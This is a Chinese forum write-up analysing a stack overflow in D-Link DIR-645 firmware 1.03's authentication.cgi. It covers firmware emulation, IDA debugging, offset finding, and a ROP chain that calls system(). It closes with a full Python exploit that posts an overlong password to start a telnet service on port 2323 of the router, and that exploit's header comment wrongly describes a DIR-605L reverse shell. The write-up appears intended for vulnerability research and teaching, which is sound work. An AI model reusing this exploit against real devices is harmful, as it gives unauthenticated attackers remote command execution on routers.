查看原文
其他

D-Link DIR-645路由器栈溢出漏洞分析

21Gun5 看雪学院 2021-03-07
本文为看雪论坛优秀文章
看雪论坛作者ID:21Gun5


目录

01-漏洞描述

02-环境/工具

03-漏洞分析

04-漏洞利用

        4.1-选择攻击途径

        4.2-确定偏移

        4.3-构造payload

        4.4-完整exp

05-漏洞测试

06-参考



01-漏洞描述


https://www.exploit-db.com/exploits/33862

This module exploits an remote buffer overflow vulnerability on several D-Link routers.The vulnerability exists in the handling of HTTP queries to the authentication.cgi with long password values. The vulnerability can be exploitable without authentication.This module has been tested successfully on D-Link firmware DIR645A1_FW103B11. Other firmwares such as the DIR865LA1_FW101b06 and DIR845LA1_FW100b20 are also vulnerable.

关键点:溢出漏洞、http请求、password字段、authentication.cgi


02-环境/工具



Ubuntu 18.04:目标系统,运行路由器固件

Windows 7 专业版:运行IDA作为远程调试机

IDA Pro:静态分析、远程动态调试

mips rop finder插件:搜索可用rop

binwalk:提取固件中的文件系统

firmadyne工具包:模拟路由器执行

固件下载:ftp://ftp2.dlink.com/PRODUCTS/DIR-645/REVA/DIR-645_FIRMWARE_1.03.ZIP

《路由器0Day漏洞》一书中脚本:run_cgi.sh(poc)、patterLocOffset.py(确定偏移)、DIR645-f-V1.03.py(exp)


03-漏洞分析



1、用binwalk将固件中的文件系统提取出来,cd到squashfs目录,寻找存在漏洞的目标文件authentication.cgi,得知其是一个符号链接,真正的目标文件是cgibin。


2、利用已有的poc来定位漏洞,使用的sh脚本如下,来自《路由器0Day漏洞》一书中run_cgi.sh。

#!/bin/bash
# 待执行命令# sudo ./run_cgi.sh `python -c "print 'uid=A21G&password='+'A'*1160"` "uid=A21G" INPUT="$1" # 参数1,uid=A21G&password=1160个ATEST="$2" # 参数2,uid=A21GLEN=$(echo -n "$INPUT" | wc -c) # 参数1的长度PORT="1234" # 监听的调试端口 # 用法错误则提示if [ "$LEN" == "0" ] || [ "$INPUT" == "-h" ] || [ "$UID" != "0" ]then echo -e "\nUsage: sudo $0 \n" exit 1fi # 复制qemu-mipsel-static到本目录并重命名,注意是static版本cp $(which qemu-mipsel-static) ./qemuecho $TEST# | 管道符:前者输出作为后者输入# chroot 将某目录设置为根目录(逻辑上的)echo "$INPUT" | chroot . ./qemu -E CONTENT_LENGTH=$LEN -E CONTENT_TYPE="application/x-www-form-urlencoded" -E REQUEST_METHOD="POST" -E REQUEST_URI="/authentication.cgi" -E REMOTE_ADDR="192.168.1.1" -g $PORT /htdocs/web/authentication.cgiecho 'run ok'rm -f ./qemu # 删除拷贝过来的执行文件

3、书中原有的poc运行失败
  • 去掉2>/dev/null,使其显示报错信息(2-标准报错信息

  • chroot: failed to run command ‘./qemu’: No such file or directory

  • https://blog.csdn.net/xieqianhua55/article/details/50749489

  • apt安装qemu-user-static,将cp中qemu-mipsel改为qemu-mipsel-static

  • 应该是因为chroot后,路径都变了,qemu的执行缺少依赖,改为静态即可


4、Ubuntu中执行脚本,开启调试端口1234,等待远程调试机连接:

sudo ./run_cgi.sh `python -c "print 'uid=A21G&password='+'A'*1160"` "uid=A21G"

5、Windows 7 中IDA打开cgibin,开启远程调试:


6、因为漏洞文件与认证有关,故function子窗口中搜索“authentication“,试一下authenticatecgi_main函数,F2下断,F9运行至此。


7、地址0040B028处,保存ra寄存器中的返回地址到内存。


8、F8单步,看什么时候内存中的返回地址被修改,来缩小范围,定位漏洞点。

9、执行read函数后,返回地址被覆盖,因此,可初步判定read为溢出点。


10、getenv函数获取http请求中CONTENT_LENGTH字段的值,即内容长度。

随后atoi函数将字符串形式的长度值转为整型;read函数没有验证参数nbytes大小,将用户可控的输入内容放置大小固定的栈中局部变量,从而发生溢出!



04-漏洞利用



4.1-选择攻击途径


1、选择命令执行为该漏洞的攻击途径(除了利用system等函数来命令执行的方式,还有直接执行shellcode的方式)

2、目标文件cgibin会加载libc.so.0动态库,因此IDA中打开,在function子窗口中键入“system”,查得so动态库中system函数的地址为00053200

注意:由于so文件是动态库,因此00053200只是一个相对偏移,加上libc.so.0动态库的加载基址0x2aaf8000才是最终的绝对地址,即2ab4b200
(疑问:加载基址是怎么知道的?


3、光有函数的地址还不够,还要再找能够调用函数的指令。使用mips rop finder插件来寻找可用的gadgets序列。


4、如上所示:jalr $t9会调用t9寄存器中的地址,而t9又来自s0,因此,只要将函数地址放置s0寄存器,便可以实现函数的调用。

待调用函数的参数a0,其来自s5,又来自于sp,0x170+var_160=sp+10
因此,将system函数地址放置s0,将待执行的命令放置sp+10,就可以实现任意命令的执行。

4.2-确定偏移


1、patterLocOffset.py,生成大量有序字符,确定偏移以实现精准定位:

#!/usr/bin/env python####################################################################################### Create pattern strings & location offset## Tested against Ubuntu 12.04 & Windows # ##### Example:## C:\Users\Lenov\Desktop> patterLocOffset.py -c -l 260 -f output.txt### [*] Create pattern string contains 260 characters ok!### [+] output to output.txt ok!#### C:\Users\Lenov\Desktop> patternLocOffset.py -s 0x41613141 -l 260### [*] Create pattern string contains 260 characters ok!### [*] Exact match at offset 3### Nimdakey # 09-10-2013##################################################################################### import argparseimport structimport binasciiimport stringimport timeimport sysimport re a = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"b = "abcdefghijklmnopqrstuvwxyz"c = "0123456789" def generate(count,output): # # pattern create codeStr = '' print '[*] Create pattern string contains %d characters'%count, timeStart = time.time() for i in range(0,count): codeStr += a[i/(26*10)]+b[(i%(26*10))/10]+c[i%(26*10)%10] print 'ok!' if output: print '[+] output to %s'%output, fw = open(output,'w') fw.write(codeStr) fw.close() print 'ok!' else: return codeStr print "[+] take time: %.4f s"%(time.time()-timeStart) def patternMatch(searchCode, length=1024): # # pattern search offset = 0 pattern = None timeStart = time.time() is0xHex = re.match('^0x[0-9a-fA-F]{8}',searchCode) isHex = re.match('^[0-9a-fA-F]{8}',searchCode) if is0xHex: #0x41613141 pattern = binascii.a2b_hex(searchCode[2:]) elif isHex: #41613141 pattern = binascii.a2b_hex(searchCode) else: print '[-] seach Pattern eg:0x41613141' sys.exit(1) source = generate(length,None) offset = source.find(pattern) if offset != -1: print "[*] Exact match at offset %d"%offset else: print "[*] No exact matches, looking for likely candidates..." reverse = list(pattern) reverse.reverse() pattern = "".join(reverse) offset = source.find(pattern) if offset != -1: print "[+] Possible match at offset %d (adjusted another-endian)"%offset print "[+] take time: %.4f s"%(time.time()-timeStart) def main(): ## parse argument parser = argparse.ArgumentParser() parser.add_argument('-s', '--search', help='search for pattern') parser.add_argument('-c', '--create', help='create a pattern',\ action='store_true') parser.add_argument('-f', '--file', help='output file name',\ default='patternShell.txt') parser.add_argument('-l', '--length',help='length of pattern code',\ type=int,default=1024) #parser.add_argument('-v', dest='verbose', action='store_true') args = parser.parse_args() ## save all argument length = args.length output = args.file #verbose = args.verbose createCode = args.create searchCode = args.search if createCode and (0 < args.length <= 26*26*10): #eg: -c -l 90 generate(length,output) elif searchCode and (0 < args.length <= 26*26*10): #eg: -s 0x474230141 patternMatch(searchCode,length) else: print '[-] You shoud chices from [-c -s]' print '[-] Pattern length must be less than 6760' print 'more help: pattern.py -h' # ... if __name__ == "__main__": main()

2、用上述py脚本创建1160个定位字符串,保存至test文件。

执行poc脚本run_cgi.sh,与前面不同的是,此时password字段的值来自test文件即生成的定位字符串,而非多个‘A'字符。


3、IDA重新远程调试cgibin,运行至authentication_main函数要返回前,注意此时S0、RA寄存器中的值(RA用来放rop chain的地址,s0寄存器在rop chain中,存放要跳往的函数地址。


4、由于选择了命令执行的攻击途径,在前面已经知道,s0寄存器中存放待调用的函数地址即system,故定位s0的地址0x42386842,得到偏移为1014。


4.3-构造payload


1、6中得到system函数的绝对地址为2ab4b200,注意到有00字符,在有些情况下可能会发生截断,保险起见,还是不用,另寻其他或者“曲线救国”。

2、在此采用“曲线救国”的办法:对包含00的system函数地址进行计算,得到一个没有00的地址填充至S0寄存器,再在so文件中搜寻对s0寄存器进行计算的指令(上述system地址计算的逆向),将原地址恢复,通过跳板指令来实现“曲线救国”。

如下是对s0寄存器进行+1的指令:


3、一图胜千言


4、结合两条rop链来构造payload(5处关键点




# 0x531ff:伪system函数地址(只不过-1了,曲线救国,避免地址出现00截断字符# 0x158c8:rop chain 1(将伪地址+1,得到真正的system地址,曲线救国的跳板# 0x159cc:rop chain 2(执行system函数,传参cmd以执行命令# 0x2aaf8000:so动态库的加载基址 # 1. $s0偏移为1104,0x531ff只占了3,1104-3=1101payload.AddNops(1011) # 2. 要跳往的system地址53200-1=531ff,再加so的加载基址,payload.AddAddress(0x531ff,0x2aaf8000) # $s0# 无关紧要,滑板指令即可payload.AddNops(4) # $s1payload.AddNops(4) # $s2payload.AddNops(4) # $s3payload.AddNops(4) # $s4# 3. 第一条rop链中,会jalr $s5,故此是第二条rop链的地址payload.AddAddress(0x159cc, 0x2aaf8000) # $s5# 无关紧要,滑板指令即可payload.AddNops(4) # unused($s6)payload.AddNops(4) # unused($s7)payload.AddNops(4) # unused($gp)# 4. 返回地址,先跳往第一条rop链,经计算后获取真正的system函数地址payload.AddAddress(0x158c8, 0x2aaf8000) # $ra# 无关紧要,滑板指令即可payload.AddNops(4) # fillpayload.AddNops(4) # fillpayload.AddNops(4) # fillpayload.AddNops(4) # fill# 5. 第二条rop链中$sp+0x10的位置,存放待执行的cmd命令payload.Add('telnetd -p 2323') # shellcode,在2323端口开启telnet服务


4.4-完整exp


#!/usr/bin/env python###################################################################################### Exploit for the DIR-605L CAPTCHA login stack based buffer overflow#vulnerability. # Spawns a reverse root shell to 192.168.1.100 on port#8080. # Tested against firmware versions 1.10, 1.12 and 1.13. # #### 06-October-2012##################################################################################### import sysimport timeimport stringimport socketfrom random import Randomimport urllib, urllib2, httplib class MIPSPayload: BADBYTES = [0x00] LITTLE = "little" BIG = "big" FILLER = "A" BYTES = 4 def __init__(self, libase=0, endianess=LITTLE, badbytes=BADBYTES): self.libase = libase self.shellcode = "" self.endianess = endianess self.badbytes = badbytes def rand_text(self, size): str = '' chars = 'AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz0123456789' length = len(chars) - 1 random = Random() for i in range(size): str += chars[random.randint(0,length)] return str def Add(self, data): self.shellcode += data def Address(self, offset, base=None): if base is None: base = self.libase return self.ToString(base + offset) def AddAddress(self, offset, base=None): self.Add(self.Address(offset, base)) def AddBuffer(self, size, byte=FILLER): self.Add(byte * size) def AddNops(self, size): if self.endianess == self.LITTLE: self.Add(self.rand_text(size)) else: self.Add(self.rand_text(size)) def ToString(self, value, size=BYTES): data = "" for i in range(0, size): data += chr((value >> (8*i)) & 0xFF) if self.endianess != self.LITTLE: data = data[::-1] return data def Build(self): count = 0 for c in self.shellcode: for byte in self.badbytes: if c == chr(byte): raise Exception("Bad byte found in shellcode at offset %d: 0x%.2X" % (count, byte)) count += 1 return self.shellcode def Print(self, bpl=BYTES): i = 0 for c in self.shellcode: if i == 4: print "" i = 0 sys.stdout.write("\\x%.2X" % ord(c)) sys.stdout.flush() if bpl > 0: i += 1 print "\n" class HTTP: HTTP = 'http' def __init__(self, host, proto=HTTP, verbose=False): self.host = host self.proto = proto self.verbose = verbose self.encode_params = True def Encode(self, data): #just for DIR645 if type(data) == dict: pdata = [] for k in data.keys(): pdata.append(k + '=' + data[k]) data = pdata[1] + '&' + pdata[0] else: data = urllib.quote_plus(data) return data def Send(self, uri, headers={}, data=None, response=False,encode_params=True): html = "" if uri.startswith('/'): c = '' else: c = '/' url = '%s://%s' % (self.proto, self.host) uri = '/%s' % uri if data is not None: data = self.Encode(data) #print data if self.verbose: print url httpcli = httplib.HTTPConnection(self.host, 80, timeout=30) httpcli.request('POST',uri,data,headers=headers) response=httpcli.getresponse() print response.status print response.read() if __name__ == '__main__': libc = 0x2aaf8000 # so动态库的加载基址 target = { "1.03" : [ 0x531ff, # 伪system函数地址(只不过-1了,曲线救国,避免地址出现00截断字符 0x158c8, # rop chain 1(将伪地址+1,得到真正的system地址,曲线救国的跳板 0x159cc, # rop chain 2(执行system函数,传参cmd以执行命令 ], } v = '1.03' cmd = 'telnetd -p 2323' # 待执行的cmd命令:在2323端口开启telnet服务 ip = '192.168.0.1' # 服务器IP地址//here # 构造payload payload = MIPSPayload(endianess="little", badbytes=[0x0d, 0x0a]) payload.AddNops(1011) # filler # 7. 填充1011个字节,$s0偏移为1104,129行target数组中地址只占了3,04-3=01 payload.AddAddress(target[v][0], base=libc) # $s0 payload.AddNops(4) # $s1 payload.AddNops(4) # $s2 payload.AddNops(4) # $s3 payload.AddNops(4) # $s4 payload.AddAddress(target[v][2], base=libc) # $s5 payload.AddNops(4) # unused($s6) payload.AddNops(4) # unused($s7) payload.AddNops(4) # unused($gp) payload.AddAddress(target[v][1], base=libc) # $ra payload.AddNops(4) # fill payload.AddNops(4) # fill payload.AddNops(4) # fill payload.AddNops(4) # fill payload.Add(cmd) # shellcode # 构造http数据包 pdata = { 'uid' : '3Ad4', 'password' : 'AbC' + payload.Build(), } header = { 'Cookie' : 'uid='+'3Ad4', 'Accept-Encoding': 'gzip, deflate', 'Content-Type' : 'application/x-www-form-urlencoded', 'User-Agent' : 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)' } # 发起http请求 try: HTTP(ip).Send('authentication.cgi', data=pdata,headers=header,encode_params=False,response=True) print '[+] execute ok' except httplib.BadStatusLine: print "Payload deliverd." except Exception,e: print "2Payload delivery failed: %s" % str(e)



05-漏洞测试



1、尝试利用firmware-analysis-toolkit工具套件来模拟执行路由器固件。


2、fat.py可以执行成功,但访问web界面192.168.0.1总是失败,测试其他固件可成功,因此工具本身没问题,推测是固件自身的问题,尝试解决无果,待研究。


06-参考



《揭秘家用路由器0Day漏洞挖掘技术》
(第一次分析路由器漏洞,万事开头难,以后处处难,大坑小坑落玉盘




-End -





看雪ID:21Gun5

https://bbs.pediy.com/user-868592.htm 

*这里由看雪论坛 21Gun5 原创,转载请注明来自看雪社区。

推荐文章++++

*  记一次基于Soket通信的app的分析

*   由一道CTF对10种反调试的探究

*   深入理解静态变量

*   KERNEL PWN状态切换原理及KPTI绕过

*   暴力爆破靶场建设及爆破实验


好书推荐






公众号:ikanxue
官方微博:看雪安全
商务合作:wsc@kanxue.com



“阅读原文” 一起来充电吧!

    您可能也对以下帖子感兴趣

    文章有问题?点此查看未经处理的缓存